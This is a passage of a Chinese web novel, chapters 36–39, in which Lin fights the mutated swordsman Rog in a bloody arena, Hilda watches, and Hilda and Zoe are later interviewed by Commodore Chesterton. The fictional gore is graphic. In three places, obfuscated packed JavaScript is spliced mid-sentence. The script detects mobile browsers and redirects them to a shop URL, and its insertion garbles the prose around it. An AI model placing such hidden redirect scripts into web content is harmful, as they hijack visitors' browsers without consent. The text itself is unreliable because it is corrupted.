“但要是他们发现你有突变，就会把你送到其他地方，那里虽然很亮很干净，但会有一堆变态，开膛破肚，把你和其他变异生物连在一起。你的恢复能力很强，这反而是坏事，你在那里会比死还痛苦哦。” “啊，是不是我说得太快？还是你不能理解？你听得懂我说话吗。” “懂，你很吵，简短说。” “哇塞”佐伊压抑不住的兴奋。她视线来回在林和以太浓度计之间徘徊“高智能，太棒了，高智能，这么高的浓度，还有理解能力，可以交流。” “呃，目前来说，我也没办法把你弄出去，不过你相信我，毕竟除了我你也没别人可以相信了，我嘛，不会伤害你，你也可以不信我，不过你可以观察几天，你看看周围的人，嗯也算人吧，如果出现不可控制的异变，虽然平时也不正常，毕竟大家都在吵都在叫。” “呃远了远了，但要是形态出现改变，或者突然暴起，是会被拖走去实验室或者直接被消杀的哦。” “你目前的能力，客观的说，其实很一般啦，你没有变异，虽然一直没输过，但给你安排的对手都是战斗力不高的变异体和人类。” “所以你要好好思考我的话哦，时间不多了，下次我还会来看你，你这次的安静我会找个借口糊弄一下的，毕竟这边的研究也不怎样，麻烦事不会找上你，不过也仅限这一次哦，你看看周围那些人怎么表现，你也要学学他们，先保证你的存活哦，不然你去了实验室，我也没有办法解决了呢。” “你能理解我的意思吗，对了，你平时都是安静的在墙角，但有人在你周围两米左右或者进入牢房，你就会咆哮哦，和那边那个很像。” 佐伊指了指右边一个不断用身体一遍遍撞着铁栏，喉咙发出嘶嘶的“人”，毛发很旺盛，甚至瞳孔反光，像狼。 “好了先说这么多，下次见。”佐伊笑嘻嘻抬手致敬。离开牢房，最后转身。 “对了，你做好准备哦，你的下个对手，有武器。” “活下来，我们很快会见面！” 36. 兽戮围场14 “女士们，先生们！” “接下来是我们今晚的压轴好戏！” 看台爆发出狂热的吼叫。上层包厢的帘子纷纷掀起，戴着面具的绅士贵妇们探出身体，眼睛在昏暗的光线里闪着贪婪的光。 “一方，是你们的新宠儿！四轮不败，从塞壬到金丝雀，用牙齿和指甲撕开每一个对手喉咙的——” 聚光灯猛地转向一侧铁闸。 闸门缓缓升起。 林站在阴影边缘。 “东方怪胎！扼喉者！丧钟匕首，林！” 欢呼声几乎掀翻穹顶。硬币和酒杯被扔进场地，在沙地上砸出闷响。 另一侧的闸门里，传来沉重缓慢，一步一顿的脚步声，庞然大物正拖着锁链前行。 聚光灯适时地移了过去。 首先看到的是止咬器。由粗粝金属条焊成的笼子，死死箍在一张扭曲的脸上。金属条勒进皮肉，边缘渗着暗红色的血迹。止咬器上方一双没有任何理智可言的眼睛，眼白布满血丝，正死死盯着林。 “不要被他那副模样吓到，女士们先生们！那是力量！是钢铁与血肉完美交融的暴力美学！” “为了防止他在撕碎对手前先咬断自己的舌头，我们不得不给他戴上这个小饰品！” 他的上半身被数条粗重的铁链缠绕，锁链深深勒进肌肉，几乎要与皮肤长在一起。那些肌肉异常发达，每一块都像被过度充气般鼓胀，青紫色的血管在表面虬结蠕动，像有活物在皮下爬行。 最引人注目的，是他背后那柄剑。 身后漏出斜背的剑柄，粗壮的肌肉束和暴起的血管植物根茎般死死缠绕，组成握把，从男人后颈和肩胛骨处延伸出来。 聚光灯照在他的后背，理应出现宽刃重剑的位置，却是虚无。 那不是背着一把剑。 那是剑长在了他身上。 “他没有剑鞘，因为他的皮肉就是最好的容器！那柄饮血的重剑，早已与他融为一体！” 管事的虚影膨胀，声音拔高到尖叫： “他是活体刑具！罗格！是专门用来粉碎骨头的重剑手！连胜六轮，今晚，让我们看看，是东方的匕首更锋利，还是苏格兰的重剑更坚硬！” “无规则！无时限！至死方休——开始！” --- 看台东南角，不起眼的阴影里。有两个宽松的紫袍融入黑暗。 但此刻兜帽滑落，露出希尔达苍白的脸。她看着沙地中央那个瘦削残破的身影，嘴唇不受控制地颤抖。 “他们把她怎么了？！”她字句从喉咙里挤出来 “他们到底对她做了什么？” 旁边的佐伊伸手想拉她，被她猛地甩开。 “你听到那个主持人叫她什么了吗？”希尔达转头盯着佐伊，眼睛通红，“东方怪胎？扼喉者？那是林吗？那根本不是她的名字！那是形容怪物的！不是形容她的！” “希尔达，小声点——” “闭嘴！”希尔达声音嘶哑，带着哭腔，死死锁在围场里的林，“别叫她那个名字！她叫林！她叫林！” “他身上的伤更多了。”她开始发抖，“以前的伤，她不肯给我说，但我知道那是为了保护别人受的。可现在这些伤，是为了杀人。是为了在这个地狱里活下去。” 眼泪毫无预兆地滚下来，烫得她脸颊发痛。 “她浑身是伤，却从来没说过一句苦。”她哽咽着，几乎语无伦次，“她那么好的一个人，那么好的一个人啊！” “在里斯本，她愿意听我说话，会问我妈妈好不好，会担心埃里克，她没有埋怨过世界，可世界对她做了什么？！” “为什么会变成这样？为什么是她？！”她声音拔高，几乎要压过周围的喧嚣， “我还记得那天，她那么焦急地求我，求我占卜那个女孩的下落。我告诉她，我告诉她，她和你一样坚强，她们会有未来的。” 泪水流进嘴角，咸得发苦。 “这就是她的未来吗？！在这个斗兽场里，像狗一样被人围观，像野兽一样去撕咬别人的喉咙？！” 她崩溃般捂住脸。 “我对不起韩吉老师……我学艺不精……我甚至离不开我妈妈……我太没有本事了……现在什么都做不了……我甚至连自己都顾不上了……眼睁睁看着林变成了她最不想成为的怪物……” 她说不下去了。喉咙像被什么堵死，只剩下压抑的、破碎的抽泣。 还有埃里克。 她连埃里克的名字都说不出口。那个名字此刻像一把烧红的刀子，扎在她心口最疼的地方。 佐伊伸出手，这次没有拉她，而是稳稳搂住了她的肩膀。 “嘘，亲爱的，别看了。”佐伊的声音在耳边响起，很低，很轻。她侧过身，用自己穿着袍子的身体挡住了希尔达部分视线，“别再看了……” 她的手一下一下，轻轻拍着希尔达的后背。 “那不是她。”佐伊说，“至少，不完全是。林还在里面，只是被关起来了。” 希尔达在她怀里发抖。 “你的占卜没有错。”佐伊继续说，声音像在安抚一个孩子，“那个女孩很坚强，林也很坚强。只是，这个世界太坏了。它总是逼着好人去做坏事。” 她顿了顿，下巴轻轻抵在希尔达头顶。 “你很优秀，希尔达。正十七边形那道题，上千年来没有人能解开，你做到了。学院认可你了，论文发表了。韩吉会为你骄傲的。” 她搂紧了些。 “我们走吧，这里的空气太脏了，会弄脏你的眼睛。我带你离开这里，去喝杯热茶，好不好？” 希尔达在她怀里僵硬了几秒。 然后，她慢慢抬起头。 脸上泪痕未干，但那双翡翠色的眼睛里，有东西沉淀下来了，变得冰冷而坚硬。 “不。”她推开佐伊的手臂，“事实不是我不看，就不存在。” 她转回头，重新看向沙地。盯住那个瘦削的身影，像要用视线把他从这片地狱里刻下来。 “我要记录下来。”她一字一句地说，“所有的罪证，由我的眼睛，全部记录下来。” --- 沙地上，林已经动了。 她没有等罗格冲过来。在管事喊出开始的瞬间，她就像一道贴地的影子，向左前方疾窜。 速度很快，脚镣限制了她，但长期的生死搏杀让她学会用最小的幅度换取最大的位移。 罗格的反应比她预想的快。 重剑手没有拔剑。他只是猛地转身，缠绕锁链的右臂像一根沉重的攻城锤，横向扫向林冲来的方向。 林矮身，锁链擦着她头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081284|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶掠过，带起的风压刮得头皮发麻。她没停，借着前冲的惯性扑到罗格身侧，左手匕首出鞘，自下而上，刺向锁链缠绕的缝隙，也是右肘关节。 匕首只进去了半寸。 林立刻松手后撤。几乎同时，罗格的左拳砸在她刚才的位置，沙地炸开一个小坑。 肌肉密度不对。太硬了。 林翻滚拉开距离，半蹲在地，喘息着盯着对手。罗格抬起右手，看了看微不足道的小伤口。血渗出来，但很快止住。 他喉咙里发出一声满意的咕噜声。 巨大的身躯像一头发狂的公牛，拖着沉重的脚步朝林碾压过来。每一步都震得沙地微颤，封死了她左右闪避的空间。 与此同时，罗格的重剑被他从背后拔了出来。 剑柄与背部连接的肌肉束和血管被拉长绷紧，最后撕裂。剑身离开他背部的瞬间，罗格整个身体猛地一颤，肩背处的肌肉不自然地抽搐凹陷，仿佛那柄剑真的是他的一根骨头，被强行抽离。 一层极淡的蓝色微光，在他皮肤下一闪而过，像流水般迅速填补了剑被拔出后身体出现的空缺。 重剑被他双手握住，剑尖拖在沙地上，划出一道深沟。 林看准他动作僵直的瞬间，再次急闪突进。这次她绕到背后，匕首瞄准他后颈。 手感依旧坚硬，但这次她用了全力，刃尖没入两寸。 罗格发被激怒。他猛地扭转身体，重剑以惊人的速度回扫。林来不及拔匕首，只能松手后跃。 剑锋擦着她小腹掠过，囚衣被割开，皮肤上留下一道血线。 罗格后颈上插着林的匕首，柄部还在微微颤动。但他似乎毫不在意，只是抬起左手，握住了匕首柄。 然后，他做出了一个让林瞳孔收缩的动作。 他握着匕首柄，开始慢慢、慢慢地将它往自己脖子里摁。 匕首一点点消失在他后颈的肌肉里，直到完全没入，只剩柄端还露在外面。 罗格速度比之前快了不止一倍，几乎像瞬移般出现在林面前。重剑高举劈，朝她头顶猛砸下来。 林向左侧扑倒。剑锋砸进沙地，溅起的沙石打在她脸上，生疼。她还没来得及起身，罗格的第二击已经到了，他的头猛地朝她撞来。 林抬手格挡。 砰！ 撞击的力道大得超乎想象。她听见自己左臂骨头发出不堪重负的脆响，她被撞飞出去，倒在沙地上，林用手肘艰难支起上身。 罗格没有追击。 他站在原地，透过止咬器的栅栏，一个扭曲的笑容溢出来。 他太喜欢这样了。喜欢看猎物挣扎，喜欢慢慢碾碎，喜欢绝对控制和虐杀带来的愉悦。 林撑着地面，慢慢站起来。左臂软软垂着，大概率是骨折了。她盯着罗格，盯着他后颈那截匕首柄。 再不做决定，就会死。 她再次冲了上去，罗格很快反应过来，重剑横挥，封死她的进路，但又带着犹豫，不想尽快解决送死的玩具。 她在剑锋及体的瞬间，身体向后仰倒，背部几乎贴地，剑锋擦着她鼻尖掠过。同时，她左手猛地探出，原来她根本没有受重伤！牢牢抓住了罗格缠绕在胸前的其中一根锁链。 借着重剑挥动的惯性，她整个人被带得向前甩出，像荡秋千一样，瞬间贴近罗格身前。 37. 兽戮围场15 太近了。近到能闻到他身上那股混合着血腥、金属锈和某种腐败甜腥的恶臭。 然后她张嘴，一口咬在罗格右手手腕上。 牙齿深深陷进皮肉，咬合肌用尽全力。她听见骨头碎裂的轻响，尝到温热血浆涌进口腔的咸腥。 罗格发出一声痛吼，右手力道一松，重剑险些脱手。他左手猛地抓向林的头发，想把她扯开。 林松口，借着罗格抓扯的力道，身体向上蹿起，双腿缠上他的腰，整个人像藤蔓一样死死锁在他背部。 扣住罗格后颈那截匕首柄，用尽全身力气，开始旋转、拧动。 刀刃在肌肉和骨骼间搅动。 罗格的吼叫变成了凄厉的尖嚎。他疯狂甩动身体，想把林摔下去，重剑胡乱挥舞，好几次砍在自己身上，留下深可见骨的伤口。 但林像长在了他身上。 匕首柄在她手中转动了一圈，两圈。 突然，罗格脑后，毫无征兆地，睁开了一只眼睛。 瞳孔是竖立的，它转动了一下，对上了林的右眼。 止咬器突然爆开，坚硬的钢条开始变形，金属片从他的脸颊、下巴、牙龈向外生长，接口处的皮肤裂开，向后抱住了林的脸。 “呃……啊啊啊啊——！” 林只觉得半张脸像被火钳夹住，然后被硬生生扯掉。 鲜血喷涌而出，溅在罗格非人的眼球上，竖瞳兴奋的涣散开。 林捂着脸，踉跄后退，大口大口深呼吸着。她的左眼已经没了，脸颊的骨头露在外面，血顺着指缝不断往下流。 罗格已经跳在她面前，重剑狠狠把林压在剑下。 咔嚓 林感觉自己的肋骨、胸骨、甚至脊椎都在一点点碎裂。 罗格低下头欣赏着林血肉模糊的左脸，钢条又汇集成止咬器，缝隙里，他的嘴角咧到耳根，露出金属獠牙，带着谵妄的喜悦。重剑一寸寸下压。 “断了……都断了……”他喃喃地说，声音里带着病态的兴奋，“你在发抖……你怕了……” 第一下，林感到骨头像玻璃一样裂开，内脏被挤压得移位。 第二下，喉咙涌上腥甜。肺被压缩到极限。 第三下，视野开始发黑。 “不要死！”罗格笑得全身发抖，大声吼着，“不要死！继续被我压着！被我控制！被我慢慢杀掉！” 林的意识开始模糊。 就在这时，她见证了罗格。 --- 我躺在手术台上，四肢被铁镣铐穿透了骨骼。那个穿着白大褂的老东西说“放松，孩子。” 他手里拿着一根滚烫的铜管，末端带着倒钩，生插进了我的腹腔，我能感受到它在我的胃壁上刮擦，然后，它开始注入液体，我的内脏瞬间沸腾了，我想尖叫，我想呕吐，却只能吐出一团团黑色的烟雾。 然后他们拿着骨锯，剥开了我的脸，打开了我的脊椎。我亲眼看见铁剑与齿轮被塞入体内，当被取走的空洞填满、闭合后，我看见了上帝，是血海中一只巨大无比的竖瞳。 无数低语在我脑中炸开。 “你不再是人类了，你是血肉的齿轮，去感受疼痛吧，因为疼痛是你存在的唯一证明。” --- 原来锁链不是束缚他的工具，而是从他脊椎延伸出来的肢体 原来止咬器不是金属装置，而是他的大脑。 原来重剑，是他的脊柱。拔出之后，他的本体无比脆弱，那里没有任何骨骼保护。 她知道了他的弱点。 但知道又怎样？ 她全身的骨头都被压碎了。 可是，她又好像……见证了一个超越了她认知极限的结构？ 这张图是如此清晰，像透过水晶球看到的星辰轨迹。像用粉笔演算复杂公式时，脑中浮现的清晰线条。由无数条发光的节点组成，精准的标注每一块骨骼的位置、每一条韧带的张力、每一处内脏的承压。 无数道蓝色的丝线生出，将离散的骨片强行锁定在原本的位置上，串联，支撑，固定，构成完美的三角形，无比稳定的焊接在一块。 林那濒临破碎的身体被撑住了。 她艰难伸手，摸向罗格脸上沉重的止咬器。 手指扣进金属栅栏的缝隙。 发狂的罗格感到一丝不对劲。他不明白这个濒死的猎物想干什么。 然后林开始用力。生生硬掰。像掰开一个锈死的铁盒，像撕开一只螃蟹的硬壳。她用尽全力，手指颤抖，血顺着金属栅栏流下来。 止咬器发出咔咔的金属断裂声。 罗格终于反应过来，发出惊恐的怒吼。他抓住林的手臂，想要掰开，但他右手腕骨刚才被咬碎，使不上力。他只能用左手，指甲深深掐进林的小臂，几乎要抠出骨头。 林没松手。 她咬紧牙关，蓝光汇聚在指节间，她全身都吊在那只手上，沉沉使力。 咯嘣。 金属条变形，断裂。 罗格尖嚎，混杂着恐惧和痛苦的嘶鸣。他体内蓝色的微光开始疯狂乱窜，失去控制。身体表面的皮肤严重龟裂，肌肉甚至开始不受控制地膨胀爆开。 止咬器与罗格脸颊皮肉连接的地方，金属边缘与血肉之间，有一层半透明的愈合疤痕。 她全力下扣。最后几根连接处被硬生生扯断。 “啊啊啊！！！” 止咬器，连同罗格大半张脸皮，被整个撕了下来。 罗格像被抽掉了骨架的傀儡，后脖的眼睛瞪得巨大，他高大的身躯开始坍塌，软泥般向下瘫软。 几秒钟内，刚才还如同魔神般的重剑手，变成了一滩人形的烂肉堆。 久久没有动静。 死寂。 管事深吸一口气，声音在围场上空回响。 “本场双方俱亡！” 看台炸开了。欢呼、尖叫、跺脚、咒骂、兴奋的嘶吼……所有声音混在一起，形成一股几乎要掀翻穹顶的声浪。 就在管事的光影即将如粒子般退散时，他感到肉泥里有什么东西动了一下 聚光灯随之照向中心。 一个身影立了起来，林大口大口喘着气。每一次呼吸都带着血沫，从嘴角溢出来，全身上下几乎没有一块完好的皮肤。 但她还活着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081285|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她慢慢抬起左手。 高高举起止咬器，以及止咬器连着的半张血淋淋的脸皮。 聚光灯下，那画面血腥、野蛮、令人作呕。 但看台上的声浪，因此达到了顶峰。 --- 角落里。 希尔达松开了紧抓栏杆的手。 她脸色惨白如纸，额头上全是冷汗，身体晃了晃，几乎站不稳。刚才那一瞬间，当林即将被碾碎时，她脑子里什么也没想，只有一个本能。 她“推”了过去。 她解数学题时，本能地看见结构。她摆弄水晶球时，偶尔能感觉到不属于这个世界的细微波动。 她把那种感觉，拼命地、不顾一切地推向了沙地上那个濒死的身影。 然后一股针扎般的头痛从太阳穴炸开，眼前一阵发黑，鼻腔里涌上一股温热的液体。 她抬手抹了把鼻子。 满手鲜红。 “希尔达！”佐伊扶住她，惊慌道，“你怎么流血了！” 希尔达靠在她身上，视线模糊地看着沙地。她看见林举起了那个可怕的东西，看见全场沸腾，看见聚光灯下那个残破的身影缓缓放下手臂，然后一动不动地躺在沙地上。 几个穿着灰衣服的人跑进场，开始清理罗格那摊不成形的残骸，另两个人则用担架抬起林，快步走向铁闸。 “她赢了……”希尔达喃喃道，眼泪又流下来，混着鼻血，滴在紫色袍子上，“她活下来了……” 然后彻底失去了意识。 佐伊接住她软倒的身体，看了一眼沙地上正在被拖走的林，又低头看了看怀里昏迷的希尔达。 她抿了抿嘴唇，那双总是带着笑意的眼睛里，闪过一丝极其复杂的情绪。 然后用力将希尔达打横抱起，转身，快步消失在通往出口的昏暗通道里。 --- 林被抬进了围场地下层的医疗室。 说是医疗室，其实更像一个简陋的手术间。墙壁刷着白漆，但很多地方已经斑驳发黄。 她被放在一张金属台子上，身体还在不受控制地轻微抽搐。意识时而清醒，时而模糊。剧痛从全身每一个角落传来，但更糟糕的是一种从骨髓深处烧起来的灼热。 几个白衣染血的人围了上来。 “左脸撕脱伤，伤口见骨。” “左臂尺桡骨粉碎性骨折，多处肋骨骨折，内脏出血……” “体温四十二度三，还在升。以太反应强烈。” “失血量过大，但心跳还在。真他妈命硬。” “脸怎么办？骨头都露出来了。” “凑合缝上呗，反正下次还得烂。” “等等，罗格那张脸皮不是连带着止咬器一起扯下来了吗？好像没全毁。” “你他妈想干嘛？” “反正都是缝，不如试试看？反正她恢复力强，说不定能长上呢？” 一阵沉默。 “行吧，反正也是废物利用。去把罗格那半张脸捡回来，处理一下。” “止咬器呢？” “一起缝上去。就当加固了。” 38. 兽戮围场16 光线从高窗斜斜地照进走廊，在地面的深色瓷砖上切割出明暗相间的方格。 希尔达·科斯塔走在中间。 她今天穿了一身新买的深蓝色裙装，不算高级，但挺括平整。手里拿着一个皮质文件夹，里面是她过去三个月整理的数学手稿。 这是她第二次走进这条走廊。 第一次是来参加旁听资格评议，她紧张的发怯。她不敢抬头迎上别人的目光，但低着头看见一尘不染的地砖，又生怕自己鞋底的尘埃给踩脏了。走廊里的学生们三三两两走过，谈笑风生，没人看她，或者看了一眼就移开视线。 今天不同。 她一踏进走廊，离橡木厅还有二十几步远，原本隐约的交谈声就低了下去。 几个靠在墙边讨论问题的学生抬起头，视线落在她身上，停住了。接着是更远处的几位教授助理，他们手里的文件忘了翻页。走廊尽头，两个正要推门进去的中年学者也停下动作，转头看向她。 所有的目光都聚过来。 不再是漠视或审视，而是敬畏、好奇，甚至还有一丝难以掩饰的妒意。 希尔达听见压低的议论，碎片般飘过来： “……就是她。” “《论非欧几何中高维流形的拓扑不变量及其在以太理论中的应用》那篇论文，我读了三天才勉强看懂引言。” “听说新式蒸汽机的传动优化，都在用她推导的公式更新齿轮比！” “韩吉教授的唯一学生……那个以太怪人。” 希尔达的仿若什么都没听见，目光平视前方，脚步均匀地踩在瓷砖的明暗交界线上。 她习惯了被看。 “哟哟哟——” 一个带着笑意的声音从侧后方传来，希尔达不用回头也知道是谁。 佐伊从走廊拐角转出来，步子轻快。她今天没穿实验室的白大褂，换了一身浅灰色的西装。她手里也拿着个文件夹，但夹子边缘翘着，里面纸张的边角参差不齐地露出来。 “我们的大数学家今天穿这么正式？”佐伊走到希尔达身边，并肩而行，“我都快认不出来了。” 希尔达侧头看她：“你也是。” “我？”佐伊低头扯了扯自己的西装外套，“没办法，听说今天要见大人物。教授特意叫住我，说别穿得像刚从解剖台爬回来。” 她说着，凑近希尔达耳边，压低声音： “不过说真的，你这身真好看。要是让数学系那群呆子看见，他们估计连公式都忘光了。” “乱说话。” “哎，别走那么快嘛。”佐伊跟上，肩膀撞向她，“紧张了？” “有一点。”希尔达承认。 “正常。我第一次进这种正式场合，手心全是汗，把文件都捏湿了。”佐伊说，“不过后来我发现，那些大人物也是人，也会放屁打嗝，有些人的假发戴歪了自己都不知道。” “你一天到晚都在想什么？” “哎呀，放松点。今天就是走个流程，问几个问题。你准备得那么充分，怕什么？” “而且，我们俩一起。我虽然数学不咋行，但以太实验的数据，我熟。他们问什么，我们互相兜着。” 希尔达点点头，心里长呼了一口气。 两人走到橡木厅门口。 深色的双开门虚掩着，门板上雕刻着学院徽章。打开的书本与交叉的望远镜。 佐伊伸手推门。 门轴转动，发出低沉平滑的声响。 --- 房间中央摆着一张宽大的弧形橡木桌。只放了三把高背椅。 此刻，其中一把椅子上坐着一个人。 那人背对门口，面朝窗户。从希尔达的角度，只能看见一个挺拔的背影，穿着深蓝色的海军将官常服，肩章的金线在光线下微微反光。浅金色的头发束在脑后。 听见开门声，那人没有立刻回头。 而是等希尔达和佐伊走进房间，门在身后轻轻合上，才缓缓转过椅子。 阿瑟·切斯特顿准将。 希尔达在报纸上见过这张脸。年轻，英俊，冷硬。但画像和真人之间天差地别。 画像里的眼睛是死的，而眼前这双灰色的瞳孔，像两块封存已久的冰。 希尔达的心脏猛地一跳。 她没想到会是这个级别的人物。卡尔森教授只说“海军部有位高级官员想见见你”，她以为是某个负责技术审核的中校或上校。 切斯特顿的视线在她脸上停留了两秒，然后移向她身边的佐伊，最后又回到她身上。 “希尔达·科斯塔小姐。”他开口，“请坐。” 希尔达和佐伊在桌子对面的两把椅子上坐下。椅子很高，希尔达的脚勉强够到地面。她把手里的文件夹放在膝上，双手交叠压在上面。 佐伊坐在她左边。希尔达用眼角余光瞥见，佐伊的手指在文件夹边缘无意识地蜷缩了一下，指节微微发白。 希尔达心里更慌了，连佐伊都在紧张。 “我是阿瑟·切斯特顿，海军部准将。”切斯特顿没有寒暄，直接进入主题，“学院提交的航线异常联合技术小组初步名单，由我最终审定。今天请两位来，是做一些必要的评估。” 他从桌上拿起一份文件，翻开。 “科斯塔小姐。”他抬起头，“你的推荐人是卡尔森教授和艾伦教授。推荐理由中，引用了你已故导师韩吉女士的一段话。” 他顿了顿，目光落在文件上，念道： “她拥有从数据中洞察数学结构，还有对自然感知的直觉。这种直觉不是训练的结果，是天赋。” 念完，他合上文件，看向希尔达。 “韩吉女士我见过几次。她对以太的研究很有魄力。”他的语气里听不出褒贬，“那么，科斯塔小姐，请用你自己的话告诉我。” “你认为自己的直觉，能对解决航线异常问题，提供什么帮助？” 问题很直接，也很致命。 希尔达深吸一口气。她事先准备过答案，但面对这双眼睛，那些排练过的句子突然显得空洞。 她选择说实话。 “准将阁下，我不确定。” “我没有见过异常样本，没有数据。但根据现有的零星报告。货物变质、船员行为失常、整船人员失踪。这些现象不符合任何已知的物理或生物现象。” 她整理思绪： “当常规模型全部失效时，我们通常要回归最基础的观察：寻找变量。” “我的工作是尝试从那些支离破碎的报告里，提取出关键点，构建一个最粗糙的，但能容纳所有异常现象的框架。” “哪怕这个框架一开始是错的，它至少能告诉我们，该往哪个方向去寻找对的答案。” 她说完，房间里安静了几秒。 然后，切斯特顿微微颔首。 “务实的态度。”他说，“那么，你需要什么，才能在最短时间内开始工作？” 希尔达思考了几秒。 “完整的异常清单，越详细越好。样本的物理和化学基础分析报告。如果可能，现场的环境数据。温度、湿度、磁场读数。以及。” 她补充道 “我需要一个能进行高精度以太浓度测量的仪器。韩吉老师留下的笔记提到，某些异常现象伴随着以太场的扰动。” “仪器可以提供。”切斯特顿说，“至于数据，小组正式成立后，你们会得到权限，调阅海军部和东印度公司的保密档案。” 他转向佐伊。 “瓦尔德小姐。” 佐伊的身体几不可察地绷紧了一瞬。 “你在学院以太实验室的工作，主要是哪些方向？” “回准将，主要是基础监测和数据分析。”佐伊回答，语速却忍不住加快。 “维护以太浓度计，记录实验体的指标，偶尔协助教授进行低剂量的刺激实验。” 她的用词尽量谨慎 “你接触过活体样本吗？”切斯特顿问。 佐伊的呼吸屏住了半秒。 希尔达注意到，佐伊放在膝上的手，手指蜷得更紧。 “接触过。”佐伊的声音还算平稳，“实验室偶尔会收到一些特殊来源的生物材料，用于研究以太亲和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旁边的佐伊拍了拍胸口，深呼吸，肩膀垮下来。 “我刚才差点窒息。”她转过头，脸上还残留着未褪尽的紧绷，“切斯特顿准将，他气场也太强了吧？我感觉自己像个虫子。” 希尔达点点头，心有余悸：“他问的问题都好直接。” “何止直接。”佐伊抬手抹了把额角，那里确实有细密的汗珠，“在他面前，我就跟□□一样。” 希尔达扭头看她，表情有些无语：“什么形容。” “真的嘛！”佐伊垮下脸，“我甚至想拉屎。” “……我不想知道这个。” “可是拉屎很快乐啊！”佐伊严肃道，“人要学会享受这种简单的快乐，尤其是在经历了这种精神压迫之后。这是一种生理性的释放，懂吗？” 希尔达终于忍不住，笑出了声。 “我享受，”她说，“但我不会到处说。” “那你活得真累。”佐伊挽住她的胳膊，整个人靠过来，重量压在她肩上，“走吧，数学家小姐。为了庆祝我们成功通过切斯特顿大考，我们去喝咖啡吧！学院后街那家新开的，听说蛋糕不错。” 两人沿着石板路往下走。 希尔达手里还攥着那枚铜徽章。 她成功了。她进入了那个核心的小组，拿到了接触最前沿问题的机会。韩吉老师留下的路，她又往前走了一步。 心里有种沉甸甸的充实感，混杂着尚未平息的紧张，和对未知工作的隐约兴奋。 她没看见，身边佐伊的笑容在转过街角，淡了下去。 她脑子里反复回放着刚才书房里的画面。 切斯特顿没认出她。 或者，他认出了，但觉得无关紧要。 无论是哪一种，都让她脊背发凉。 这个小组，这份殊荣，这条看似通往学术核心的道路。底下到底藏着多少她还没看见的秘密？ 39. 兽戮围场17 进去后，车门缓缓关闭，发出金属的闷响，车厢停顿了一下，开始移动，而且速度比她骑过的任何快马都要快，隔着重门，巨大轰鸣震得铁门发颤，是任何生物都无法发出来的声音，让她想起入港的舰船。 不知过了多久，咔哒一下，突然停住了，靠着墙的林毫无防备，重重向前滚去。 然后再也没有任何动静 林对周围环境没有任何好奇，门那么重，她怎么挣扎都徒劳。 不如静观其变，等待接下来切斯特顿会安排什么节目。 于是，她倒在墙角休息。 … 光着上身，黏稠汗水连着体毛糊住了皮肤，湿漉漉的裤子紧紧贴着大腿。每一次呼吸都喘不过来。 太热了，太黑了，太窄了。 隧道只容得下他勉强转身，但他还得用力挥动着臂膀，不断凿着，铁镐撞击煤层的声音在狭小的空间里回荡。 前面这块怎么这么硬，都多少下了，还下不来 手臂震得发麻，他咬咬牙，用尽全力。 掉了。 头顶上的所有煤矿毫无准备全部倒塌，惊恐的尖叫还没有发出，所有重重的岩石埋住了口鼻胸腔，像摸黑的耗子被人一脚踩中。他要把自己内脏吐出来又要沿着缝隙爆炸出去。 不对，这不是她。 是罗格。 林倒吸一口气，眼前还是一片黑暗，但此时，自己空空荡荡的右臂第一次带给她安全感。 起码醒了过来。 她摸着墙壁站起来，奇怪，她敲敲墙壁，是木板，应该在她昏沉时又把她扔到另一块垃圾场了。 踹了几下是实的。环境不冷，于是她脱了上衣放在地上，然后摸着墙壁，一寸寸的走。 没几个转角就踢到衣服了。是个小房间。 正前方的墙敲起来是空的，她一脚踹上去，木板非常脆，几下，就开了一个她低身可以出去的空洞。 一阵陈腐霉味随着海腥味的空气猛地灌进来，林不禁捂住了口鼻。 但还是迟了点，口腔和肺部立即就发痒起来，忍不住难受的咳嗽了几下，感觉好点了，不过和一头扎进孢子丛中没什么区别。 林立即撕下衣服一角，围住下半部分脸。随着每次呼吸，布条紧紧附着在下颌金属边上，很快就潮湿闷热起来。 林矮身探出去，霉味更甚，依然是五指不见的黑暗。 但是有风。 空间很大，而且没有封闭。 穿好了破衣服，她摸着墙壁，是结实的木板拼起来的，很熟悉，像船舱。 她也嗅到了霉味之下的腐植气味和盐味，像搅烂的水草。 这里就是船舱。 脚下很湿滑，深一脚浅一脚，像在踩着泥走。 她停住了 在想这是在搞什么 大费周章把她弄过来，就扔这里，自生自灭？ 不 应该是类似围场的实验。阴影处有无数危险等着她。 但如果她选择待在房间，只有一处进出，一旦被堵，她必死无疑。 但现在黑得不见五指，她只凭左手摸索行走，倘若有人暗中发难，她反应不一定跟得上。 林只好背靠着墙，左手攥紧匕首，一步步贴着船壁往前。 眼前突然有点发黑，虽然睁眼闭眼没什么区别，但一些扭曲的图形幻视在眼前，头也有些晕，刚好有一脚没踩实，林踏空正要摔倒，还好她紧贴墙壁，胳膊肘撑着半截身子，稳住了。 难道要进入祂的里世界了？ 不，这感觉很熟悉，只不过这段时间她专注其他诡异的东西太久，反而忽略了最基础的生理本能。 